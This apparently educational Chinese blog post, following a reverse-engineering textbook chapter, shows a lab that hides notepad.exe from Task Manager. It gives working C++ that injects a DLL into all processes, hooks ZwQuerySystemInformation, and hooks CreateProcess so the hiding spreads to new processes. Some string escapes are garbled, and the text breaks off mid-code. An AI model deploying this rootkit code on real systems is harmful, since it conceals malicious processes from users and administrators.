zoukankan      html  css  js  c++  java
  • 逆向工程核心原理——第三十三章

    进程隐藏

    本章实验环境为windows7 x86

    隐藏进程之前,我们首先要对系统的API有一个大致的了解,在书中就运用到了ZwQuerySystemInformation 这个API,这个API的作用则是获取运行中的所有进程信息。

    而基本的进程查看软件都是使用的这个API(proceXP和任务管理器),所以我们对这个API进行钩取和修改就可以做到让proceXP和任务管理器上的notepad进程消失。

    练习1:

    首先我们打开notepad和任务管理器:

    可以清楚的看到notepad.exe的进程信息。

    现在我们启动事先准备好的exe文件将stealth.dll注入进notepad.exe钩取其ZwQuerySystemInformation()API:

    可以看到,notepad.exe进程消失了,说明隐藏进程成功了。

    但是如果我们重新打开任务管理器的话:

    发现notepad进程又出现了,这是因为,任务管理器打开时,会重新调用ZwQuerySystemInformation(API),我们钩取虽然成功了,但是只能钩取一次,当这个API下次打开时,就会失效。

    为了避免只能钩取一次的情况,所以我们需要进行全局API钩取。

    在进行全局API钩取时,我们首先要将stealth2.dll放到c:windowssystem32 这个文件夹。

    这里上面显示failed但是notepa是成功隐藏了的,然后我们在重新打开任务管理器:

    这样我们就成功完成了全局钩取API

    代码:

    HideProc.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tlhelp32.h"  
    #include "tchar.h"  
    
    typedef void(*PFN_SetProcName)(LPCTSTR szProcName);
    enum { INJECTION_MODE = 0, EJECTION_MODE };
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
    	TOKEN_PRIVILEGES tp;
    	HANDLE hToken;
    	LUID luid;
    
    	if (!OpenProcessToken(GetCurrentProcess(),
    		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
    		&hToken))
    	{
    		printf("OpenProcessToken error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	if (!LookupPrivilegeValue(NULL,            // lookup privilege on local system  
    		lpszPrivilege,   // privilege to lookup   
    		&luid))        // receives LUID of privilege  
    	{
    		printf("LookupPrivilegeValue error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	tp.PrivilegeCount = 1;
    	tp.Privileges[0].Luid = luid;
    	if (bEnablePrivilege)
    		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    	else
    		tp.Privileges[0].Attributes = 0;
    
    	// Enable the privilege or disable all privileges.  
    	if (!AdjustTokenPrivileges(hToken,
    		FALSE,
    		&tp,
    		sizeof(TOKEN_PRIVILEGES),
    		(PTOKEN_PRIVILEGES)NULL,
    		(PDWORD)NULL))
    	{
    		printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    	{
    		printf("The token does not have the specified privilege. 
    ");
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
    	HANDLE                  hProcess, hThread;
    	LPVOID                  pRemoteBuf;
    	DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
    	LPTHREAD_START_ROUTINE  pThreadProc;
    
    	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
    	{
    		printf("OpenProcess(%d) failed!!!
    ", dwPID);
    		return FALSE;
    	}
    
    	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
    		MEM_COMMIT, PAGE_READWRITE);
    
    	WriteProcessMemory(hProcess, pRemoteBuf,
    		(LPVOID)szDllPath, dwBufSize, NULL);
    
    	pThreadProc = (LPTHREAD_START_ROUTINE)
    		GetProcAddress(GetModuleHandle(L"kernel32.dll"),
    		"LoadLibraryW");
    	hThread = CreateRemoteThread(hProcess, NULL, 0,
    		pThreadProc, pRemoteBuf, 0, NULL);
    	WaitForSingleObject(hThread, INFINITE);
    
    	VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    
    	return TRUE;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
    	BOOL                    bMore = FALSE, bFound = FALSE;
    	HANDLE                  hSnapshot, hProcess, hThread;
    	MODULEENTRY32           me = { sizeof(me) };
    	LPTHREAD_START_ROUTINE  pThreadProc;
    
    	if (INVALID_HANDLE_VALUE ==
    		(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
    		return FALSE;
    
    	bMore = Module32First(hSnapshot, &me);
    	for (; bMore; bMore = Module32Next(hSnapshot, &me))
    	{
    		if (!_tcsicmp(me.szModule, szDllPath) ||
    			!_tcsicmp(me.szExePath, szDllPath))
    		{
    			bFound = TRUE;
    			break;
    		}
    	}
    
    	if (!bFound)
    	{
    		CloseHandle(hSnapshot);
    		return FALSE;
    	}
    
    	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
    	{
    		CloseHandle(hSnapshot);
    		return FALSE;
    	}
    
    	pThreadProc = (LPTHREAD_START_ROUTINE)
    		GetProcAddress(GetModuleHandle(L"kernel32.dll"),
    		"FreeLibrary");
    	hThread = CreateRemoteThread(hProcess, NULL, 0,
    		pThreadProc, me.modBaseAddr, 0, NULL);
    	WaitForSingleObject(hThread, INFINITE);
    
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    	CloseHandle(hSnapshot);
    
    	return TRUE;
    }
    
    BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
    {
    	DWORD                   dwPID = 0;
    	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
    	PROCESSENTRY32          pe;
    
    	// Get the snapshot of the system  
    	pe.dwSize = sizeof(PROCESSENTRY32);
    	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    
    	// find process  
    	Process32First(hSnapShot, &pe);
    	do
    	{
    		dwPID = pe.th32ProcessID;
    
    		// 鉴于系统安全性的考虑  
    		// 对于PID小于100的系统进程  
    		// 不执行DLL注入操作  
    		if (dwPID < 100)
    			continue;
    
    		if (nMode == INJECTION_MODE)
    			InjectDll(dwPID, szDllPath);
    		else
    			EjectDll(dwPID, szDllPath);
    	} while (Process32Next(hSnapShot, &pe));
    
    	CloseHandle(hSnapShot);
    
    	return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[])
    {
    	int                     nMode = INJECTION_MODE;
    	HMODULE                 hLib = NULL;
    	PFN_SetProcName         SetProcName = NULL;
    
    	if (argc != 4)
    	{
    		printf("
     Usage  : HideProc.exe <-hide|-show> "
    			"<process name> <dll path>
    
    ");
    		return 1;
    	}
    
    	// change privilege  
    	SetPrivilege(SE_DEBUG_NAME, TRUE);
    
    	// load library  
    	hLib = LoadLibrary(argv[3]);
    
    	// set process name to hide  
    	SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
    	SetProcName(argv[2]);
    
    	// Inject(Eject) Dll to all process  
    	if (!_tcsicmp(argv[1], L"-show"))
    		nMode = EJECTION_MODE;
    
    	InjectAllProcess(nMode, argv[3]);
    
    	// free library  
    	FreeLibrary(hLib);
    
    	return 0;
    }
    

    stealth.cpp

    #include "windows.h"  
    #include "tchar.h"  
    
    #define STATUS_SUCCESS                      (0x00000000L)   
    
    typedef LONG NTSTATUS;
    
    typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation = 0,
        SystemPerformanceInformation = 2,
        SystemTimeOfDayInformation = 3,
        SystemProcessInformation = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation = 23,
        SystemExceptionInformation = 33,
        SystemRegistryQuotaInformation = 37,
        SystemLookasideInformation = 45
    } SYSTEM_INFORMATION_CLASS;
    
    typedef struct _SYSTEM_PROCESS_INFORMATION {
        ULONG NextEntryOffset;
        ULONG NumberOfThreads;
        BYTE Reserved1[48];
        PVOID Reserved2[3];
        HANDLE UniqueProcessId;
        PVOID Reserved3;
        ULONG HandleCount;
        BYTE Reserved4[4];
        PVOID Reserved5[11];
        SIZE_T PeakPagefileUsage;
        SIZE_T PrivatePageCount;
        LARGE_INTEGER Reserved6[6];
    } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
    
    typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)
    (SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength);
    
    #define DEF_NTDLL                       ("ntdll.dll")  
    #define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")  
    
    
    // global variable (in sharing memory)  
    #pragma comment(linker, "/SECTION:.SHARE,RWS")  
    #pragma data_seg(".SHARE")  
    TCHAR g_szProcName[MAX_PATH] = { 0, };
    #pragma data_seg()  
    
    // global variable  
    BYTE g_pOrgBytes[5] = { 0, };
    
    
    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
    {
        FARPROC pfnOrg;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        PBYTE pByte;
    
        // 获取要钩取的API地址  
        pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pfnOrg;
    
        // 若已经被钩取则返回FALSE  
        if (pByte[0] == 0xE9)
            return FALSE;
    
        // 向内存添加写属性  
        VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        // 备份原有代码(5字节)  
        memcpy(pOrgBytes, pfnOrg, 5);
    
        // 计算JMP地址 (E9 XXXX)  
        // => XXXX = pfnNew - pfnOrg - 5  
        dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
        memcpy(&pBuf[1], &dwAddress, 4);
    
        // Hook  
        memcpy(pfnOrg, pBuf, 5);
    
        // 恢复内存属性  
        VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    
    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
    
        // 获取API地址  
        pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
    
        // 若已经脱钩则返回FALSE  
        if (pByte[0] != 0xE9)
            return FALSE;
    
        // 向内存添加写属性  
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        // Unhook  
        memcpy(pFunc, pOrgBytes, 5);
    
        // 恢复内存属性  
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    
    NTSTATUS WINAPI NewZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength)
    {
        NTSTATUS status;
        FARPROC pFunc;
        PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
        char szProcName[MAX_PATH] = { 0, };
    
        // 开始前先脱钩  
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
    
        // 调用原始API  
        pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
            DEF_ZWQUERYSYSTEMINFORMATION);
        status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
            (SystemInformationClass, SystemInformation,
                SystemInformationLength, ReturnLength);
    
        if (status != STATUS_SUCCESS)
            goto __NTQUERYSYSTEMINFORMATION_END;
    
        // 针对SystemProcessInformation类型操作  
        if (SystemInformationClass == SystemProcessInformation)
        {
            // SYSTEM_PROCESS_INFORMATION类型转换  
            // pCur是单向链表的头  
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    
            while (TRUE)
            {
                // 比较进程名称  
                // g_szProcName为要隐藏的进程名称  
                // (=> SetProcName()设置)  
                if (pCur->Reserved2[1] != NULL)
                {
                    if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                    {
                        // 从链表中删除隐藏进程的节点  
                        if (pCur->NextEntryOffset == 0)
                            pPrev->NextEntryOffset = 0;
                        else
                            pPrev->NextEntryOffset += pCur->NextEntryOffset;
                    }
                    else
                        pPrev = pCur;
                }
    
                if (pCur->NextEntryOffset == 0)
                    break;
    
                // 链表的下一项  
                pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
            }
        }
    
    __NTQUERYSYSTEMINFORMATION_END:
    
        // 函数终止前再次执行API钩取操作,为下次调用准备  
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
            (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
    
        return status;
    }
    
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = { 0, };
        char* p = NULL;
    
        // #1. 异常处理  
        // 若当前进程为HookProc.exe则终止,不进行钩取操作  
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
        p = strrchr(szCurProc, '\');
        if ((p != NULL) && !_stricmp(p + 1, "HideProc.exe"))
            return TRUE;
    
        switch (fdwReason)
        {
            // #2. API Hooking  
        case DLL_PROCESS_ATTACH:
            hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
            break;
    
            // #3. API Unhooking   
        case DLL_PROCESS_DETACH:
            unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                g_pOrgBytes);
            break;
        }
    
        return TRUE;
    }
    
    
    #ifdef __cplusplus  
    extern "C" {
    #endif  
        __declspec(dllexport) void SetProcName(LPCTSTR szProcName)
        {
            _tcscpy_s(g_szProcName, szProcName);
        }
    #ifdef __cplusplus  
    }
    #endif
    

    HideProc2.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tlhelp32.h"  
    #include "tchar.h"  
    
    enum { INJECTION_MODE = 0, EJECTION_MODE };
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            printf("OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,            // lookup privilege on local system  
            lpszPrivilege,   // privilege to lookup   
            &luid))         // receives LUID of privilege  
        {
            printf("LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            printf("The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE                  hProcess, hThread;
        LPVOID                  pRemoteBuf;
        DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE  pThreadProc;
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        {
            printf("OpenProcess(%d) failed!!!
    ", dwPID);
            return FALSE;
        }
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
    
        WriteProcessMemory(hProcess, pRemoteBuf,
            (LPVOID)szDllPath, dwBufSize, NULL);
    
        pThreadProc = (LPTHREAD_START_ROUTINE)
            GetProcAddress(GetModuleHandle(L"kernel32.dll"),
                "LoadLibraryW");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            pThreadProc, pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
    
        return TRUE;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        BOOL                    bMore = FALSE, bFound = FALSE;
        HANDLE                  hSnapshot, hProcess, hThread;
        MODULEENTRY32           me = { sizeof(me) };
        LPTHREAD_START_ROUTINE  pThreadProc;
    
        if (INVALID_HANDLE_VALUE ==
            (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
            return FALSE;
    
        bMore = Module32First(hSnapshot, &me);
        for (; bMore; bMore = Module32Next(hSnapshot, &me))
        {
            if (!_tcsicmp(me.szModule, szDllPath) ||
                !_tcsicmp(me.szExePath, szDllPath))
            {
                bFound = TRUE;
                break;
            }
        }
    
        if (!bFound)
        {
            CloseHandle(hSnapshot);
            return FALSE;
        }
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        {
            printf("OpenProcess(%d) failed!!!
    ", dwPID);
            CloseHandle(hSnapshot);
            return FALSE;
        }
    
        pThreadProc = (LPTHREAD_START_ROUTINE)
            GetProcAddress(GetModuleHandle(L"kernel32.dll"),
                "FreeLibrary");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            pThreadProc, me.modBaseAddr, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
        CloseHandle(hSnapshot);
    
        return TRUE;
    }
    
    BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
    {
        DWORD                   dwPID = 0;
        HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32          pe;
    
        // Get the snapshot of the system  
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    
        // find process  
        Process32First(hSnapShot, &pe);
        do
        {
            dwPID = pe.th32ProcessID;
    
    
            if (dwPID < 100)
                continue;
    
            if (nMode == INJECTION_MODE)
                InjectDll(dwPID, szDllPath);
            else
                EjectDll(dwPID, szDllPath);
        } while (Process32Next(hSnapShot, &pe));
    
        CloseHandle(hSnapShot);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[])
    {
        int nMode = INJECTION_MODE;
    
        if (argc != 3)
        {
            printf("
     Usage  : HideProc2.exe <-hide|-show> <dll path>
    
    ");
            return 1;
        }
    
        // change privilege  
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        // Inject(Eject) Dll to all process  
        if (!_tcsicmp(argv[1], L"-show"))
            nMode = EJECTION_MODE;
    
        InjectAllProcess(nMode, argv[2]);
    
        return 0;
    }
    

    Stealth2.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tchar.h"  
    
    #define STR_MODULE_NAME                 (L"stealth2.dll")  
    #define STR_HIDE_PROCESS_NAME           (L"notepad.exe")  
    #define STATUS_SUCCESS                  (0x00000000L)   
    
    typedef LONG NTSTATUS;
    
    typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation = 0,
        SystemPerformanceInformation = 2,
        SystemTimeOfDayInformation = 3,
        SystemProcessInformation = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation = 23,
        SystemExceptionInformation = 33,
        SystemRegistryQuotaInformation = 37,
        SystemLookasideInformation = 45
    } SYSTEM_INFORMATION_CLASS;
    
    typedef struct _SYSTEM_PROCESS_INFORMATION {
        ULONG NextEntryOffset;
        BYTE Reserved1[52];
        PVOID Reserved2[3];
        HANDLE UniqueProcessId;
        PVOID Reserved3;
        ULONG HandleCount;
        BYTE Reserved4[4];
        PVOID Reserved5[11];
        SIZE_T PeakPagefileUsage;
        SIZE_T PrivatePageCount;
        LARGE_INTEGER Reserved6[6];
    } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
    
    typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength);
    
    typedef BOOL(WINAPI* PFCREATEPROCESSA)(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
        );
    
    typedef BOOL(WINAPI* PFCREATEPROCESSW)(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
        );
    
    BYTE g_pOrgCPA[5] = { 0, };
    BYTE g_pOrgCPW[5] = { 0, };
    BYTE g_pOrgZwQSI[5] = { 0, };
    
    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if (pByte[0] == 0xE9)
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        memcpy(pOrgBytes, pFunc, 5);
    
        dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
        memcpy(&pBuf[1], &dwAddress, 4);
    
        memcpy(pFunc, pBuf, 5);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if (pByte[0] != 0xE9)
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        memcpy(pFunc, pOrgBytes, 5);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            printf("OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,             // lookup privilege on local system  
            lpszPrivilege,    // privilege to lookup   
            &luid))          // receives LUID of privilege  
        {
            printf("LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            printf("The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
    {
        HANDLE hThread;
        LPVOID pRemoteBuf;
        DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
        FARPROC pThreadProc;
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf == NULL)
            return FALSE;
    
        WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
            dwBufSize, NULL);
    
        pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
            "LoadLibraryW");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE)pThreadProc,
            pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        CloseHandle(hThread);
    
        return TRUE;
    }
    
    NTSTATUS WINAPI NewZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength)
    {
        NTSTATUS status;
        FARPROC pFunc;
        PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
        char szProcName[MAX_PATH] = { 0, };
    
        unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
    
        pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "ZwQuerySystemInformation");
        status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
            (SystemInformationClass, SystemInformation,
                SystemInformationLength, ReturnLength);
    
        if (status != STATUS_SUCCESS)
            goto __NTQUERYSYSTEMINFORMATION_END;
    
        if (SystemInformationClass == SystemProcessInformation)
        {
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    
            while (TRUE)
            {
                if (pCur->Reserved2[1] != NULL)
                {
                    if (!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
                    {
                        if (pCur->NextEntryOffset == 0)
                            pPrev->NextEntryOffset = 0;
                        else
                            pPrev->NextEntryOffset += pCur->NextEntryOffset;
                    }
                    else
                        pPrev = pCur;
                }
    
                if (pCur->NextEntryOffset == 0)
                    break;
    
                pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
            }
        }
    
    __NTQUERYSYSTEMINFORMATION_END:
    
        hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
            (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
    
        return status;
    }
    
    BOOL WINAPI NewCreateProcessA(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
    
        unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
    
    
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
        bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
            lpCommandLine,
            lpProcessAttributes,
            lpThreadAttributes,
            bInheritHandles,
            dwCreationFlags,
            lpEnvironment,
            lpCurrentDirectory,
            lpStartupInfo,
            lpProcessInformation);
    
    
        if (bRet)
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
    
        hook_by_code("kernel32.dll", "CreateProcessA",
            (PROC)NewCreateProcessA, g_pOrgCPA);
    
        return bRet;
    }
    
    BOOL WINAPI NewCreateProcessW(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
    
        unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
    
    
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
        bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
            lpCommandLine,
            lpProcessAttributes,
            lpThreadAttributes,
            bInheritHandles,
            dwCreationFlags,
            lpEnvironment,
            lpCurrentDirectory,
            lpStartupInfo,
            lpProcessInformation);
    
    
        if (bRet)
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
    
        hook_by_code("kernel32.dll", "CreateProcessW",
            (PROC)NewCreateProcessW, g_pOrgCPW);
    
        return bRet;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = { 0, };
        char* p = NULL;
    
    
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
